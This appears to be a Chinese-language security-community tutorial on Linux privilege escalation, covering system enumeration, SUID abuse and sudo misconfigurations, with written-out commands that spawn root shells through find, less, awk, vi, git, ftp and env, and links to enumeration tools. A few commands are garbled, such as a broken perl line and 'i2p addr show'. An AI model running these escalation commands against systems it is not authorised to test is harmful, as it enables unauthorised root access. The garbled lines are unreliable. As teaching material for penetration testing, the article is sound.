Yikjiang2025-04-03文章来源:SecHub网络安全社区
提权过程中的信息收集相当于是一个手动枚举的过程, 涉及对系统配置和服务信息进行详细的查看和收集, 在此过程中, 往往需要记录尽可能多的信息, 其中有些看似不重要的信息即使现在用不到, 在后期往往能提供非常有价值的灵感和思路。
如果发现具有可用漏洞的内核版本, 则可以使用它来获取root shell, 可以使用以下命令查看内核版本:
uname -r
如果安装了LSB模块, 则可以使用命令查看Linux版本, 命令如下:
lsb_release -a
假如没有该命令, 可以使用以下命令查看:
cat /proc/version
跟内核版本一样, sudo版本也可能受到攻击, 可以使用以下命令查看
sudo -V
使用history命令可以查看系统曾经运行的命令历史记录, 在这个过程中往往能够找到一些有价值的信息,例如:系统密码,如图:
可以使用命令查看系统中间隔时间运行的程序, 在这个过程中可能会发现一些意外的信息,如图:
cat /etc/crontab
在Linux权限提升过程中, 查看用户当前拥有的sudo权限, 可以提示我可能使用sudo能够运行某些命令, 输入以下命令:
sudo -l
可以直接使用id命令查看当前用户属于哪些组, 如图:
id
查看网络信息可以为下一步行动提供丰富的信息,例如: 路由信息、IP地址等, 根据这些信息对于之后理清整个网络拓扑结构非常有帮助, 命令执行结果如下:
ifconfig命令用于显示或配置网络接口的状态(已被ip命令取代,但仍然常用)。
ifconfig
ip命令是一个更强大的工具,用于查看和配置网络接口、路由等。
i2p addr show
ip a
ip route show
netstat命令用于显示网络连接、路由表、接口统计信息、伪装连接等(已被ss命令取代,但仍然常用)。
netstat -pantu
ss命令是netstat的现代替代品,用于显示网络连接、监听端口等。
ss -tuln
ping命令用于检查网络连通性。
ping www.baidu.com
traceroute命令用于跟踪数据包到达目的地的路径。
traceroute www.baidu.com
用于查询dns记录
dig www.baidu.com
host命令用于DNS查询,查询指定域名的IP地址:
host www.baidu.com
用于DNS查询
nslookup www.baidu.com
route命令用于显示或修改IP路由表。
route -n
iptables命令用于配置Linux内核防火墙。
查看当前防火墙规则:
iptables -L
curl命令用于从命令行发出HTTP请求。
获取网页内容:
curl www.baidu.com
wget命令用于从命令行下载文件。
下载文件:
wget http://example.com/file
arp命令用于显示和修改IP到MAC地址的映射表。
显示ARP缓存:
arp -a
tcpdump命令用于捕获和分析网络数据包。
捕获接口eth0上的所有数据包:
tcpdump -i eth0
tcpdump -i eth0 -w capture.pcap
具有suid权限的文件在执行时,可以使调用者暂时获得该文件拥有者的执行权限,也就是说,具有suid权限的属于root用户的文件,在执行时,不管你当前是不是root用户,都可以以root权限执行,利用这个特性,我们就可以找一些具有suid权限切可以执行我们自定义命令的程序进行提权。
设置SUID位的文件在执行时,进程会以文件所有者的身份运行,而不是执行者的身份
首先,查找 find 命令的路径。你可以使用 which 命令来找到它:
which find
接下来,使用 ls 命令来查看 find 命令的权限和所属用户和组:
ls -l /usr/bin/find
使用 chmod 命令添加 SUID 权限。假设 find 命令的路径是 /usr/bin/find,你可以这样做
chmod u+s /usr/bin/find
通常Linux系统文件及目录最常见的三种权限为:可读权限®,可写权限(w)和可执行权限(x)。有时我们会发现有些文件或者目录的所属主的权限会带s标识。当s这个标志出现在文件所有者的x权限上时,如/usr/bin/passwd文件的权限状态:“-rwsr-xr-x.”,此时就被称为Set UID,简称为SUID权限
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
可以用来提权的命令
Nmap
Vim
find
Bash
More
Less
Nano
cp
touch pentestlab
find pentestlab -exec whoami \;
bash -p
less /etc/passwd
!/bin/bash
sudo是一个用于在用户会话期间临时提升权限的工具。它允许被授权的用户以另一个用户(通常是root)的身份执行命令,而无需共享密码。
sudo常用于系统管理任务,允许用户在不需要共享root密码的情况下执行特权命令。适合需要临时提升权限的操作,例如安装软件、修改系统配置等。
用户使用sudo命令前,需要在/etc/sudoers文件中被授权。执行命令时,系统会提示用户输入自己的密码(而不是目标用户的密码),并记录操作日志。
使用visudo命令编辑/etc/sudoers文件来配置权限。例如,给用户username授予所有权限:
username ALL=(ALL) ALL
user host=(runas_user) command
user: 要赋予权限的用户名。
host: 可以执行命令的主机,一般使用ALL。
runas_user: 可以以哪个用户身份运行命令,通常是ALL或root。
command: 允许执行的命令,使用绝对路径,可以使用ALL表示所有命令。
这个配置允许用户username在所有主机上,以任何用户身份运行所有命令。
username ALL=(ALL) ALL
只允许用户username执行/usr/bin/apt-get命令:
username ALL=(ALL) /usr/bin/apt-get
在上述基础上,添加NOPASSWD:
username ALL=(ALL) NOPASSWD: /usr/bin/apt-get
可以给整个用户组赋予权限。例如,允许admin组的所有用户以root身份执行所有命令(这里,%admin表示用户组admin。):
%admin ALL=(ALL) ALL
配置完成后,可以通过以下命令验证用户是否具有期望的sudo权限:
sudo -l -U username
可以使用sudo -l来查看当前用户具有哪些sudo权限
在实战中,目标可能会给普通用户分配sudo权限,可能是 ALL=(ALL:ALL) ALL ,也可能是针对某个命令可
以使用sudo权限,如 ALL(ALL:ALL) /usr/bin/find
这种sudo提权的方式就和suid提权的方式有点相识,但是使用sudo提权需要两个必备条件
我们创建一个账号test2,设置以下权限
useradd test2
passwd test2
chsh -s /bin/bash test2
vi /etc/sudoerss
a 插入
:wq!
test2 ALL=(ALL:ALL) /usr/bin/find,/usr/bin/perl,/usr/bin/python3,/usr/bin/less,/usr/bin/awk,/usr/bin/man,/usr/bin/vi
sudo find /home -exec whoami \; ,可以看到获得的是root用户
sudo find / -exec "/bin/bash" \; 或者直接调用bash来获取shell
e参数用来指定要运行的命令,然后使用linux的exec参数来调用bash。
sudo perl -e '-exec "/bin/bash";'
输入sudo less 命令浏览文件内容时,到底部输入!bash后回车,会获得一个root权限的shell。
sudo less /etc/passwd
通过调用linux的system函数来打开bash。
sudo awk 'BEGIN {system("/bin/bash")}'
通过sudo man man命令来打开man的使用手册,同时会进入编辑行,输入!bash回车,可获取root权限。
sudo vi会进入vi默认页,输入:!bash回车,可进入root命令行。
如果对普通用户的限制不严格,或者配置权限过大时,就可以通过sudo su切换到root权限。
或者执行sudo bash
当sudo允许执行git命令时,可以利用git提权。
sudo git help config
!/bin/bash
sudo git -p help
!/bin/bash
进入ftp,输入!/bin/bash
来获取Root权限
sudo ftp
通过env环境变量来获取root权限。
sudo env /bin/bash
https://github.com/rebootuser/LinEnum
可以对linux主机进行一个综合信息探测,扫描linux上是否存在配置问题可以利用,
LinEnum收集的信息包括:用户账户、文件权限、活动进程、已安装的软件包、网络配置、计划任务、系统日志、版本信息等。
https://github.com/The-Z-Labs/linux-exploit-suggester
漏扫脚本,查看是否有可以利用的漏洞
https://github.com/jondonas/linux-exploit-suggester-2
漏扫脚本,查看是否有可以利用的漏洞
https://github.com/liamg/traitor
自动化探测漏洞并且尝试提权工具,也会进行一些信息收集,但是漏洞库数量较少
不带参数运行寻找可能存在的漏洞
带-a参数运行寻找漏洞并尝试执行,如果已知当前用户密码可以加-p参数
https://github.com/AlessandroZ/BeRoot
BeRoot是一个后期开发工具,用于检查常见的Windows的配置错误,
以方便找到提高我们提权的方法。